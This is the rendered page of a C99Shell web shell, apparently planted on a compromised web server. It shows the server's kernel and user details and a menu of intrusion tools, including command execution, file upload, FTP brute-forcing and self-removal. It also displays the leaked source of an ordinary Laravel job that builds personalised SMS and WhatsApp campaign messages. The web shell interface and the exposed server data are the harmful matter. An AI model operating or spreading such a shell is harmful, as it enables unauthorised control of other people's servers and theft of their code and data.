!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/app/Jobs/   drwxr-xr-x
Free 26.05 GB of 117.98 GB (22.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignCreateChunk.php (6.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Jobs;

use 
App\Models\Campaign;
use 
App\Models\Contact;
use 
Illuminate\Bus\Queueable;
use 
Illuminate\Contracts\Queue\ShouldBeUnique;
use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Foundation\Bus\Dispatchable;
use 
Illuminate\Queue\InteractsWithQueue;
use 
Illuminate\Queue\SerializesModels;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;

class 
CampaignCreateChunk implements ShouldQueue
{
    use 
DispatchableInteractsWithQueueQueueableSerializesModels;

    private 
$daily_sent_limit;
    private 
$send_speed;
    private 
$campaign_running_date;
    private 
$user;
    private 
$offset;
    private 
$take_count 5000;
    private 
$message;
    private 
$to_numbers;
    private 
$from_number;
    private 
$sms_queue;
    private 
$from_type;
    private 
$server_id;
    private 
$server_from;
    private 
$msg_body;
    private 
$campaign_id;

    
/**
     * Create a new job instance.
     *
     * @return void
     */
    
public function __construct($campaign_id,$dailySentLimit,$msg_body,$fromNumber,$toNumbers$campaignRunningDate$sendSpeed$user$offset,$from_type,$serverId)
    {

        
$this->campaign_id $campaign_id;
        
$this->daily_sent_limit $dailySentLimit;
        
$this->campaign_running_date $campaignRunningDate;
        
$this->send_speed $sendSpeed;
        
$this->msg_body $msg_body;
        
$this->user $user;
        
$this->offset $offset;
        
$this->to_numbers $toNumbers;
        
$this->from_number $fromNumber;
        
$this->sms_queue = [];
        
sort($this->to_numbers);
        
$this->from_type=$from_type;
        
$this->server_id=$serverId;
    }

    
/**
     * Execute the job.
     *
     * @return void
     */
    
public function handle()
    {
        
$campaignRunningDate=Carbon::parse($this->campaign_running_date);
        
$toNumber array_slice($this->to_numbers$this->offset$this->daily_sent_limit);
        if (
$toNumber) {
            
$generatedToNumbers = [];
            
$contacts Contact::where('customer_id'$this->user->id)->whereIn(DB::raw('CONCAT(`contact_dial_code`, `number`)'), $toNumber)->orderBy('number')->get()->unique('number');
            foreach (
$contacts as $contact) {
                
$templateBody $this->msg_body;
                if (
$contact->first_name) {
                    
$templateBody str_replace('{first_name}'$contact->first_name$templateBody);
                } else {
                    
$templateBody str_replace('{first_name}'' '$templateBody);
                }
                if (
$contact->last_name) {
                    
$templateBody str_replace('{last_name}'$contact->last_name$templateBody);
                } else {
                    
$templateBody str_replace('{last_name}'' '$templateBody);
                }
                if (
$contact->address) {
                    
$templateBody str_replace('{address}'$contact->address$templateBody);
                } else {
                    
$templateBody str_replace('{address}'' '$templateBody);
                }
                if (
$contact->city) {
                    
$templateBody str_replace('{city}'$contact->city$templateBody);
                } else {
                    
$templateBody str_replace('{city}'' '$templateBody);
                }
                if (
$contact->state) {
                    
$templateBody str_replace('{state}'$contact->state$templateBody);
                } else {
                    
$templateBody str_replace('{state}'' '$templateBody);
                }
                if (
$contact->zip_code) {
                    
$templateBody str_replace('{zip_code}'$contact->zip_code$templateBody);
                } else {
                    
$templateBody str_replace('{zip_code}'' '$templateBody);
                }
                if (
$contact->email) {
                    
$templateBody str_replace('{email}'$contact->email$templateBody);
                } else {
                    
$templateBody str_replace('{email}'' '$templateBody);
                }
                if (!
in_array($contact->number$generatedToNumbers)) {
                    if (
$this->from_type=='whatsapp'){
                        
$toNumber='whatsapp:'.$contact->number;
                    }else{
                        
$toNumber=$contact->number;
                    }
                    
$this->sms_queue[] = [
                        
'campaign_id' => $this->campaign_id,
                        
'from' => $this->from_number,
                        
'to' => $contact->country_code.$toNumber,
                        
'schedule_datetime' => null,
                        
'body' => $templateBody,
                        
'server_id' => $this->server_id,
                    ];
                    
$generatedToNumbers[] = $contact->number;
                }
            }

            foreach (
array_chunk($this->sms_queue$this->take_count) as $key => $daily_sms_queues) {
                
$final_sms_queue = [];

                foreach (
$daily_sms_queues as $queue) {
                    
$addSeconds=floor($this->send_speed) < floor($this->send_speed);
                    
$final_sms_queue[] = [
                        
'campaign_id' => $queue['campaign_id'],
                        
'from' => $queue['from'],
                        
'to' => $queue['to'],
                        
'schedule_datetime' => $campaignRunningDate->addSeconds($addSeconds)->toDateTimeString(),
                        
'body' => $queue['body'],
                        
'created_at' => now(),
                        
'updated_at' => now(),
                        
'type'=> 'sent',
                        
'dynamic_gateway_id' => $this->server_id,
                    ];
                }
                if (
$final_sms_queue) {
                    
$this->user->messages()->createMany($final_sms_queue);
                }
            }
        }else{
            
Log::info("there is no to Numbers");
        }

    }


    public function 
failed(\Exception $exception)
    {
        
Campaign::where('id',$this->campaign_id)->update(['import_fail_message'=>substr($exception->getMessage(), 0191)]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--